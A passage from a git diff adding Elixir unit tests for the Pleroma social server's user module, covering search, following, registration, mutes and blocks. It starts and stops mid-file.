yield false-positive matches" do + insert(:user, %{name: "John Doe"}) + + Enum.each(["mary", "a", ""], fn query -> + assert [] == User.search(query) + end) + end + + test "works with URIs" do + user = insert(:user) + + results = + User.search("http://mastodon.example.org/users/admin", resolve: true, for_user: user) + + result = results |> List.first() + + user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin") + + assert length(results) == 1 + + expected = + result + |> Map.put(:search_rank, nil) + |> Map.put(:search_type, nil) + |> Map.put(:last_digest_emailed_at, nil) + |> Map.put(:multi_factor_authentication_settings, nil) + |> Map.put(:notification_settings, nil) + + assert user == expected + end + + test "excludes a blocked users from search result" do + user = insert(:user, %{nickname: "Bill"}) + + [blocked_user | users] = Enum.map(0..3, &insert(:user, %{nickname: "john#{&1}"})) + + blocked_user2 = + insert( + :user, + %{nickname: "john awful", ap_id: "https://awful-and-rude-instance.com/user/bully"} + ) + + User.block_domain(user, "awful-and-rude-instance.com") + User.block(user, blocked_user) + + account_ids = User.search("john", for_user: refresh_record(user)) |> collect_ids + + assert account_ids == collect_ids(users) + refute Enum.member?(account_ids, blocked_user.id) + refute Enum.member?(account_ids, blocked_user2.id) + assert length(account_ids) == 3 + end + + test "local user has the same search_rank as for users with the same nickname, but another domain" do + user = insert(:user) + insert(:user, nickname: "lain@mastodon.social") + insert(:user, nickname: "lain") + insert(:user, nickname: "lain@pleroma.social") + + assert User.search("lain@localhost", resolve: true, for_user: user) + |> Enum.each(fn u -> u.search_rank == 0.5 end) + end + + test "localhost is the part of the domain" do + user = insert(:user) + insert(:user, nickname: "another@somedomain") + insert(:user, nickname: "lain") + insert(:user, nickname: "lain@examplelocalhost") + + result = User.search("lain@examplelocalhost", resolve: true, for_user: user) + assert Enum.each(result, fn u -> u.search_rank == 0.5 end) + assert length(result) == 2 + end + + test "local user search with users" do + user = insert(:user) + local_user = insert(:user, nickname: "lain") + insert(:user, nickname: "another@localhost.com") + insert(:user, nickname: "localhost@localhost.com") + + [result] = User.search("lain@localhost", resolve: true, for_user: user) + assert Map.put(result, :search_rank, nil) |> Map.put(:search_type, nil) == local_user + end + + test "works with idna domains" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = User.search("lain@zetsubou.みんな", resolve: false, for_user: user) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + + test "works with idna domains converted input" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = + User.search("lain@zetsubou." <> to_string(:idna.encode("zetsubou.みんな")), + resolve: false, + for_user: user + ) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + + test "works with idna domains and bad chars in domain" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = + User.search("lain@zetsubou!@#$%^&*()+,-/:;<=>?[]'_{}|~`.みんな", + resolve: false, + for_user: user + ) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + + test "works with idna domains and query as link" do + user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) + + results = + User.search("https://zetsubou.みんな/users/lain", + resolve: false, + for_user: user + ) + + result = List.first(results) + + assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) + end + end +end diff --git a/test/pleroma/user_test.exs b/test/pleroma/user_test.exs new file mode 100644 index 000000000..d506f7047 --- /dev/null +++ b/test/pleroma/user_test.exs @@ -0,0 +1,2124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UserTest do + alias Pleroma.Activity + alias Pleroma.Builders.UserBuilder + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + import ExUnit.CaptureLog + import Swoosh.TestAssertions + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :account_activation_required]) + + describe "service actors" do + test "returns updated invisible actor" do + uri = "#{Pleroma.Web.Endpoint.url()}/relay" + followers_uri = "#{uri}/followers" + + insert( + :user, + %{ + nickname: "relay", + invisible: false, + local: true, + ap_id: uri, + follower_address: followers_uri + } + ) + + actor = User.get_or_create_service_actor_by_ap_id(uri, "relay") + assert actor.invisible + end + + test "returns relay user" do + uri = "#{Pleroma.Web.Endpoint.url()}/relay" + followers_uri = "#{uri}/followers" + + assert %User{ + nickname: "relay", + invisible: true, + local: true, + ap_id: ^uri, + follower_address: ^followers_uri + } = User.get_or_create_service_actor_by_ap_id(uri, "relay") + + assert capture_log(fn -> + refute User.get_or_create_service_actor_by_ap_id("/relay", "relay") + end) =~ "Cannot create service actor:" + end + + test "returns invisible actor" do + uri = "#{Pleroma.Web.Endpoint.url()}/internal/fetch-test" + followers_uri = "#{uri}/followers" + user = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") + + assert %User{ + nickname: "internal.fetch-test", + invisible: true, + local: true, + ap_id: ^uri, + follower_address: ^followers_uri + } = user + + user2 = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") + assert user.id == user2.id + end + end + + describe "AP ID user relationships" do + setup do + {:ok, user: insert(:user)} + end + + test "outgoing_relationships_ap_ids/1", %{user: user} do + rel_types = [:block, :mute, :notification_mute, :reblog_mute, :inverse_subscription] + + ap_ids_by_rel = + Enum.into( + rel_types, + %{}, + fn rel_type -> + rel_records = + insert_list(2, :user_relationship, %{source: user, relationship_type: rel_type}) + + ap_ids = Enum.map(rel_records, fn rr -> Repo.preload(rr, :target).target.ap_id end) + {rel_type, Enum.sort(ap_ids)} + end + ) + + assert ap_ids_by_rel[:block] == Enum.sort(User.blocked_users_ap_ids(user)) + assert ap_ids_by_rel[:block] == Enum.sort(Enum.map(User.blocked_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:mute] == Enum.sort(User.muted_users_ap_ids(user)) + assert ap_ids_by_rel[:mute] == Enum.sort(Enum.map(User.muted_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:notification_mute] == + Enum.sort(User.notification_muted_users_ap_ids(user)) + + assert ap_ids_by_rel[:notification_mute] == + Enum.sort(Enum.map(User.notification_muted_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:reblog_mute] == Enum.sort(User.reblog_muted_users_ap_ids(user)) + + assert ap_ids_by_rel[:reblog_mute] == + Enum.sort(Enum.map(User.reblog_muted_users(user), & &1.ap_id)) + + assert ap_ids_by_rel[:inverse_subscription] == Enum.sort(User.subscriber_users_ap_ids(user)) + + assert ap_ids_by_rel[:inverse_subscription] == + Enum.sort(Enum.map(User.subscriber_users(user), & &1.ap_id)) + + outgoing_relationships_ap_ids = User.outgoing_relationships_ap_ids(user, rel_types) + + assert ap_ids_by_rel == + Enum.into(outgoing_relationships_ap_ids, %{}, fn {k, v} -> {k, Enum.sort(v)} end) + end + end + + describe "when tags are nil" do + test "tagging a user" do + user = insert(:user, %{tags: nil}) + user = User.tag(user, ["cool", "dude"]) + + assert "cool" in user.tags + assert "dude" in user.tags + end + + test "untagging a user" do + user = insert(:user, %{tags: nil}) + user = User.untag(user, ["cool", "dude"]) + + assert user.tags == [] + end + end + + test "ap_id returns the activity pub id for the user" do + user = UserBuilder.build() + + expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}" + + assert expected_ap_id == User.ap_id(user) + end + + test "ap_followers returns the followers collection for the user" do + user = UserBuilder.build() + + expected_followers_collection = "#{User.ap_id(user)}/followers" + + assert expected_followers_collection == User.ap_followers(user) + end + + test "ap_following returns the following collection for the user" do + user = UserBuilder.build() + + expected_followers_collection = "#{User.ap_id(user)}/following" + + assert expected_followers_collection == User.ap_following(user) + end + + test "returns all pending follow requests" do + unlocked = insert(:user) + locked = insert(:user, locked: true) + follower = insert(:user) + + CommonAPI.follow(follower, unlocked) + CommonAPI.follow(follower, locked) + + assert [] = User.get_follow_requests(unlocked) + assert [activity] = User.get_follow_requests(locked) + + assert activity + end + + test "doesn't return already accepted or duplicate follow requests" do + locked = insert(:user, locked: true) + pending_follower = insert(:user) + accepted_follower = insert(:user) + + CommonAPI.follow(pending_follower, locked) + CommonAPI.follow(pending_follower, locked) + CommonAPI.follow(accepted_follower, locked) + + Pleroma.FollowingRelationship.update(accepted_follower, locked, :follow_accept) + + assert [^pending_follower] = User.get_follow_requests(locked) + end + + test "doesn't return follow requests for deactivated accounts" do + locked = insert(:user, locked: true) + pending_follower = insert(:user, %{deactivated: true}) + + CommonAPI.follow(pending_follower, locked) + + assert true == pending_follower.deactivated + assert [] = User.get_follow_requests(locked) + end + + test "clears follow requests when requester is blocked" do + followed = insert(:user, locked: true) + follower = insert(:user) + + CommonAPI.follow(follower, followed) + assert [_activity] = User.get_follow_requests(followed) + + {:ok, _user_relationship} = User.block(followed, follower) + assert [] = User.get_follow_requests(followed) + end + + test "follow_all follows mutliple users" do + user = insert(:user) + followed_zero = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + blocked = insert(:user) + not_followed = insert(:user) + reverse_blocked = insert(:user) + + {:ok, _user_relationship} = User.block(user, blocked) + {:ok, _user_relationship} = User.block(reverse_blocked, user) + + {:ok, user} = User.follow(user, followed_zero) + + {:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked]) + + assert User.following?(user, followed_one) + assert User.following?(user, followed_two) + assert User.following?(user, followed_zero) + refute User.following?(user, not_followed) + refute User.following?(user, blocked) + refute User.following?(user, reverse_blocked) + end + + test "follow_all follows mutliple users without duplicating" do + user = insert(:user) + followed_zero = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + + {:ok, user} = User.follow_all(user, [followed_zero, followed_one]) + assert length(User.following(user)) == 3 + + {:ok, user} = User.follow_all(user, [followed_one, followed_two]) + assert length(User.following(user)) == 4 + end + + test "follow takes a user and another user" do + user = insert(:user) + followed = insert(:user) + + {:ok, user} = User.follow(user, followed) + + user = User.get_cached_by_id(user.id) + followed = User.get_cached_by_ap_id(followed.ap_id) + + assert followed.follower_count == 1 + assert user.following_count == 1 + + assert User.ap_followers(followed) in User.following(user) + end + + test "can't follow a deactivated users" do + user = insert(:user) + followed = insert(:user, %{deactivated: true}) + + {:error, _} = User.follow(user, followed) + end + + test "can't follow a user who blocked us" do + blocker = insert(:user) + blockee = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:error, _} = User.follow(blockee, blocker) + end + + test "can't subscribe to a user who blocked us" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, _user_relationship} = User.block(blocker, blocked) + + {:error, _} = User.subscribe(blocked, blocker) + end + + test "local users do not automatically follow local locked accounts" do + follower = insert(:user, locked: true) + followed = insert(:user, locked: true) + + {:ok, follower} = User.maybe_direct_follow(follower, followed) + + refute User.following?(follower, followed) + end + + describe "unfollow/2" do + setup do: clear_config([:instance, :external_user_synchronization]) + + test "unfollow with syncronizes external user" do + Pleroma.Config.put([:instance, :external_user_synchronization], true) + + followed = + insert(:user, + nickname: "fuser1", + follower_address: "http://localhost:4001/users/fuser1/followers", + following_address: "http://localhost:4001/users/fuser1/following", + ap_id: "http://localhost:4001/users/fuser1" + ) + + user = + insert(:user, %{ + local: false, + nickname: "fuser2", + ap_id: "http://localhost:4001/users/fuser2", + follower_address: "http://localhost:4001/users/fuser2/followers", + following_address: "http://localhost:4001/users/fuser2/following" + }) + + {:ok, user} = User.follow(user, followed, :follow_accept) + + {:ok, user, _activity} = User.unfollow(user, followed) + + user = User.get_cached_by_id(user.id) + + assert User.following(user) == [] + end + + test "unfollow takes a user and another user" do + followed = insert(:user) + user = insert(:user) + + {:ok, user} = User.follow(user, followed, :follow_accept) + + assert User.following(user) == [user.follower_address, followed.follower_address] + + {:ok, user, _activity} = User.unfollow(user, followed) + + assert User.following(user) == [user.follower_address] + end + + test "unfollow doesn't unfollow yourself" do + user = insert(:user) + + {:error, _} = User.unfollow(user, user) + + assert User.following(user) == [user.follower_address] + end + end + + test "test if a user is following another user" do + followed = insert(:user) + user = insert(:user) + User.follow(user, followed, :follow_accept) + + assert User.following?(user, followed) + refute User.following?(followed, user) + end + + test "fetches correct profile for nickname beginning with number" do + # Use old-style integer ID to try to reproduce the problem + user = insert(:user, %{id: 1080}) + user_with_numbers = insert(:user, %{nickname: "#{user.id}garbage"}) + assert user_with_numbers == User.get_cached_by_nickname_or_id(user_with_numbers.nickname) + end + + describe "user registration" do + @full_user_data %{ + bio: "A guy", + name: "my name", + nickname: "nick", + password: "test", + password_confirmation: "test", + email: "email@example.com" + } + + setup do: clear_config([:instance, :autofollowed_nicknames]) + setup do: clear_config([:welcome]) + setup do: clear_config([:instance, :account_activation_required]) + + test "it autofollows accounts that are set for it" do + user = insert(:user) + remote_user = insert(:user, %{local: false}) + + Pleroma.Config.put([:instance, :autofollowed_nicknames], [ + user.nickname, + remote_user.nickname + ]) + + cng = User.register_changeset(%User{}, @full_user_data) + + {:ok, registered_user} = User.register(cng) + + assert User.following?(registered_user, user) + refute User.following?(registered_user, remote_user) + end + + test "it sends a welcome message if it is set" do + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :direct_message, :enabled], true) + Pleroma.Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :direct_message, :message], "Hello, this is a direct message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "direct message" + assert activity.actor == welcome_user.ap_id + end + + test "it sends a welcome chat message if it is set" do + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :chat_message, :enabled], true) + Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "chat message" + assert activity.actor == welcome_user.ap_id + end + + setup do: + clear_config(:mrf_simple, + media_removal: [], + media_nsfw: [], + federated_timeline_removal: [], + report_removal: [], + reject: [], + followers_only: [], + accept: [], + avatar_removal: [], + banner_removal: [], + reject_deletes: [] + ) + + setup do: + clear_config(:mrf, + policies: [ + Pleroma.Web.ActivityPub.MRF.SimplePolicy + ] + ) + + test "it sends a welcome chat message when Simple policy applied to local instance" do + Pleroma.Config.put([:mrf_simple, :media_nsfw], ["localhost"]) + + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :chat_message, :enabled], true) + Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "chat message" + assert activity.actor == welcome_user.ap_id + end + + test "it sends a welcome email message if it is set" do + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :email, :enabled], true) + Pleroma.Config.put([:welcome, :email, :sender], welcome_user.email) + + Pleroma.Config.put( + [:welcome, :email, :subject], + "Hello, welcome to cool site: <%= instance_name %>" + ) + + instance_name = Pleroma.Config.get([:instance, :name]) + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + assert_email_sent( + from: {instance_name, welcome_user.email}, + to: {registered_user.name, registered_user.email}, + subject: "Hello, welcome to cool site: #{instance_name}", + html_body: "Welcome to #{instance_name}" + ) + end + + test "it sends a confirm email" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + Pleroma.Emails.UserEmail.account_confirmation_email(registered_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() + end + + test "it requires an email, name, nickname and password, bio is optional when account_activation_required is enabled" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + @full_user_data + |> Map.keys() + |> Enum.each(fn key -> + params = Map.delete(@full_user_data, key) + changeset = User.register_changeset(%User{}, params) + + assert if key == :bio, do: changeset.valid?, else: not changeset.valid? + end) + end + + test "it requires an name, nickname and password, bio and email are optional when account_activation_required is disabled" do + Pleroma.Config.put([:instance, :account_activation_required], false) + + @full_user_data + |> Map.keys() + |> Enum.each(fn key -> + params = Map.delete(@full_user_data, key) + changeset = User.register_changeset(%User{}, params) + + assert if key in [:bio, :email], do: changeset.valid?, else: not changeset.valid? + end) + end + + test "it restricts certain nicknames" do + [restricted_name | _] = Pleroma.Config.get([User, :restricted_nicknames]) + + assert is_bitstring(restricted_name) + + params = + @full_user_data + |> Map.put(:nickname, restricted_name) + + changeset = User.register_changeset(%User{}, params) + + refute changeset.valid? + end + + test "it blocks blacklisted email domains" do + clear_config([User, :email_blacklist], ["trolling.world"]) + + # Block with match + params = Map.put(@full_user_data, :email, "troll@trolling.world") + changeset = User.register_changeset(%User{}, params) + refute changeset.valid? + + # Block with subdomain match + params = Map.put(@full_user_data, :email, "troll@gnomes.trolling.world") + changeset = User.register_changeset(%User{}, params) + refute changeset.valid? + + # Pass with different domains that are similar + params = Map.put(@full_user_data, :email, "troll@gnomestrolling.world") + changeset = User.register_changeset(%User{}, params) + assert changeset.valid? + + params = Map.put(@full_user_data, :email, "troll@trolling.world.us") + changeset = User.register_changeset(%User{}, params) + assert changeset.valid? + end + + test "it sets the password_hash and ap_id" do + changeset = User.register_changeset(%User{}, @full_user_data) + + assert changeset.valid? + + assert is_binary(changeset.changes[:password_hash]) + assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname}) + + assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers" + end + + test "it sets the 'accepts_chat_messages' set to true" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + assert user.accepts_chat_messages + end + + test "it creates a confirmed user" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + refute user.confirmation_pending + end + end + + describe "user registration, with :account_activation_required" do + @full_user_data %{ + bio: "A guy", + name: "my name", + nickname: "nick", + password: "test", + password_confirmation: "test", + email: "email@example.com" + } + setup do: clear_config([:instance, :account_activation_required], true) + + test "it creates unconfirmed user" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + assert user.confirmation_pending + assert user.confirmation_token + end + + test "it creates confirmed user if :confirmed option is given" do + changeset = User.register_changeset(%User{}, @full_user_data, need_confirmation: false) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + refute user.confirmation_pending + refute user.confirmation_token + end + end + + describe "user registration, with :account_approval_required" do + @full_user_data %{ + bio: "A guy", + name: "my name", + nickname: "nick", + password: "test", + password_confirmation: "test", + email: "email@example.com", + registration_reason: "I'm a cool guy :)" + } + setup do: clear_config([:instance, :account_approval_required], true) + + test "it creates unapproved user" do + changeset = User.register_changeset(%User{}, @full_user_data) + assert changeset.valid? + + {:ok, user} = Repo.insert(changeset) + + assert user.approval_pending + assert user.registration_reason == "I'm a cool guy :)" + end + + test "it restricts length of registration reason" do + reason_limit = Pleroma.Config.get([:instance, :registration_reason_length]) + + assert is_integer(reason_limit) + + params = + @full_user_data + |> Map.put( + :registration_reason, + "Quia et nesciunt dolores numquam ipsam nisi sapiente soluta. Ullam repudiandae nisi quam porro officiis officiis ad. Consequatur animi velit ex quia. Odit voluptatem perferendis quia ut nisi. Dignissimos sit soluta atque aliquid dolorem ut dolorum ut. Labore voluptates iste iusto amet voluptatum earum. Ad fugit illum nam eos ut nemo. Pariatur ea fuga non aspernatur. Dignissimos debitis officia corporis est nisi ab et. Atque itaque alias eius voluptas minus. Accusamus numquam tempore occaecati in." + ) + + changeset = User.register_changeset(%User{}, params) + + refute changeset.valid? + end + end + + describe "get_or_fetch/1" do + test "gets an existing user by nickname" do + user = insert(:user) + {:ok, fetched_user} = User.get_or_fetch(user.nickname) + + assert user == fetched_user + end + + test "gets an existing user by ap_id" do + ap_id = "http://mastodon.example.org/users/admin" + + user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: ap_id + ) + + {:ok, fetched_user} = User.get_or_fetch(ap_id) + freshed_user = refresh_record(user) + assert freshed_user == fetched_user + end + end + + describe "fetching a user from nickname or trying to build one" do + test "gets an existing user" do + user = insert(:user) + {:ok, fetched_user} = User.get_or_fetch_by_nickname(user.nickname) + + assert user == fetched_user + end + + test "gets an existing user, case insensitive" do + user = insert(:user, nickname: "nick") + {:ok, fetched_user} = User.get_or_fetch_by_nickname("NICK") + + assert user == fetched_user + end + + test "gets an existing user by fully qualified nickname" do + user = insert(:user) + + {:ok, fetched_user} = + User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) + + assert user == fetched_user + end + + test "gets an existing user by fully qualified nickname, case insensitive" do + user = insert(:user, nickname: "nick") + casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host()) + + {:ok, fetched_user} = User.get_or_fetch_by_nickname(casing_altered_fqn) + + assert user == fetched_user + end + + @tag capture_log: true + test "returns nil if no user could be fetched" do + {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la") + assert fetched_user == "not found nonexistant@social.heldscal.la" + end + + test "returns nil for nonexistant local user" do + {:error, fetched_user} = User.get_or_fetch_by_nickname("nonexistant") + assert fetched_user == "not found nonexistant" + end + + test "updates an existing user, if stale" do + a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) + + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/admin", + last_refreshed_at: a_week_ago + ) + + assert orig_user.last_refreshed_at == a_week_ago + + {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") + + assert user.inbox + + refute user.last_refreshed_at == orig_user.last_refreshed_at + end + + test "if nicknames clash, the old user gets a prefix with the old id to the nickname" do + a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) + + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/harinezumigari", + last_refreshed_at: a_week_ago + ) + + assert orig_user.last_refreshed_at == a_week_ago + + {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin") + + assert user.inbox + + refute user.id == orig_user.id + + orig_user = User.get_by_id(orig_user.id) + + assert orig_user.nickname == "#{orig_user.id}.admin@mastodon.example.org" + end + + @tag capture_log: true + test "it returns the old user if stale, but unfetchable" do + a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800) + + orig_user = + insert( + :user, + local: false, + nickname: "admin@mastodon.example.org", + ap_id: "http://mastodon.example.org/users/raymoo", + last_refreshed_at: a_week_ago + ) + + assert orig_user.last_refreshed_at == a_week_ago + + {:ok, user} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/raymoo") + + assert user.last_refreshed_at == orig_user.last_refreshed_at + end + end + + test "returns an ap_id for a user" do + user = insert(:user) + + assert User.ap_id(user) == + Pleroma.Web.Router.Helpers.user_feed_url( + Pleroma.Web.Endpoint, + :feed_redirect, + user.nickname + ) + end + + test "returns an ap_followers link for a user" do + user = insert(:user) + + assert User.ap_followers(user) == + Pleroma.Web.Router.Helpers.user_feed_url( + Pleroma.Web.Endpoint, + :feed_redirect, + user.nickname + ) <> "/followers" + end + + describe "remote user changeset" do + @valid_remote %{ + bio: "hello", + name: "Someone", + nickname: "a@b.de", + ap_id: "http...", + avatar: %{some: "avatar"} + } + setup do: clear_config([:instance, :user_bio_length]) + setup do: clear_config([:instance, :user_name_length]) + + test "it confirms validity" do + cs = User.remote_user_changeset(@valid_remote) + assert cs.valid? + end + + test "it sets the follower_adress" do + cs = User.remote_user_changeset(@valid_remote) + # remote users get a fake local follower address + assert cs.changes.follower_address == + User.ap_followers(%User{nickname: @valid_remote[:nickname]}) + end + + test "it enforces the fqn format for nicknames" do + cs = User.remote_user_changeset(%{@valid_remote | nickname: "bla"}) + assert Ecto.Changeset.get_field(cs, :local) == false + assert cs.changes.avatar + refute cs.valid? + end + + test "it has required fields" do + [:ap_id] + |> Enum.each(fn field -> + cs = User.remote_user_changeset(Map.delete(@valid_remote, field)) + refute cs.valid? + end) + end + end + + describe "followers and friends" do + test "gets all followers for a given user" do + user = insert(:user) + follower_one = insert(:user) + follower_two = insert(:user) + not_follower = insert(:user) + + {:ok, follower_one} = User.follow(follower_one, user) + {:ok, follower_two} = User.follow(follower_two, user) + + res = User.get_followers(user) + + assert Enum.member?(res, follower_one) + assert Enum.member?(res, follower_two) + refute Enum.member?(res, not_follower) + end + + test "gets all friends (followed users) for a given user" do + user = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + not_followed = insert(:user) + + {:ok, user} = User.follow(user, followed_one) + {:ok, user} = User.follow(user, followed_two) + + res = User.get_friends(user) + + followed_one = User.get_cached_by_ap_id(followed_one.ap_id) + followed_two = User.get_cached_by_ap_id(followed_two.ap_id) + assert Enum.member?(res, followed_one) + assert Enum.member?(res, followed_two) + refute Enum.member?(res, not_followed) + end + end + + describe "updating note and follower count" do + test "it sets the note_count property" do + note = insert(:note) + + user = User.get_cached_by_ap_id(note.data["actor"]) + + assert user.note_count == 0 + + {:ok, user} = User.update_note_count(user) + + assert user.note_count == 1 + end + + test "it increases the note_count property" do + note = insert(:note) + user = User.get_cached_by_ap_id(note.data["actor"]) + + assert user.note_count == 0 + + {:ok, user} = User.increase_note_count(user) + + assert user.note_count == 1 + + {:ok, user} = User.increase_note_count(user) + + assert user.note_count == 2 + end + + test "it decreases the note_count property" do + note = insert(:note) + user = User.get_cached_by_ap_id(note.data["actor"]) + + assert user.note_count == 0 + + {:ok, user} = User.increase_note_count(user) + + assert user.note_count == 1 + + {:ok, user} = User.decrease_note_count(user) + + assert user.note_count == 0 + + {:ok, user} = User.decrease_note_count(user) + + assert user.note_count == 0 + end + + test "it sets the follower_count property" do + user = insert(:user) + follower = insert(:user) + + User.follow(follower, user) + + assert user.follower_count == 0 + + {:ok, user} = User.update_follower_count(user) + + assert user.follower_count == 1 + end + end + + describe "mutes" do + test "it mutes people" do + user = insert(:user) + muted_user = insert(:user) + + refute User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + + {:ok, _user_relationships} = User.mute(user, muted_user) + + assert User.mutes?(user, muted_user) + assert User.muted_notifications?(user, muted_user) + end + + test "it unmutes users" do + user = insert(:user) + muted_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, muted_user) + {:ok, _user_mute} = User.unmute(user, muted_user) + + refute User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + end + + test "it mutes user without notifications" do + user = insert(:user) + muted_user = insert(:user) + + refute User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + + {:ok, _user_relationships} = User.mute(user, muted_user, false) + + assert User.mutes?(user, muted_user) + refute User.muted_notifications?(user, muted_user) + end + end + + describe "blocks" do + test "it blocks people" do + user = insert(:user) + blocked_user = insert(:user) + + refute User.blocks?(user, blocked_user) + + {:ok, _user_relationship} = User.block(user, blocked_user) + + assert User.blocks?(user, blocked_user) + end + + test "it unblocks users" do + user = insert(:user) + blocked_user = insert(:user) + + {:ok, _user_relationship} = User.block(user, blocked_user) + {:ok, _user_block} = User.unblock(user, blocked_user) + + refute User.blocks?(user, blocked_user) + end + + test "blocks tear down cyclical follow relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, blocker} = User.follow(blocker, blocked) + {:ok, blocked} = User.follow(blocked, blocker) + + assert User.following?(blocker, blocked) + assert User.following?(blocked, blocker) + + {:ok, _user_relationship} = User.block(blocker, blocked) + blocked = User.get_cached_by_id(blocked.id) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end + + test "blocks tear down blocker->blocked follow relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, blocker} = User.follow(blocker, blocked) + + assert User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + + {:ok, _user_relationship} = User.block(blocker, blocked) + blocked = User.get_cached_by_id(blocked.id) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end + + test "blocks tear down blocked->blocker follow relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, blocked} = User.follow(blocked, blocker) + + refute User.following?(blocker, blocked) + assert User.following?(blocked, blocker) + + {:ok, _user_relationship} = User.block(blocker, blocked) + blocked = User.get_cached_by_id(blocked.id) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end + + test "blocks tear down blocked->blocker subscription relationships" do + blocker = insert(:user) + blocked = insert(:user) + + {:ok, _subscription} = User.subscribe(blocked, blocker) + + assert 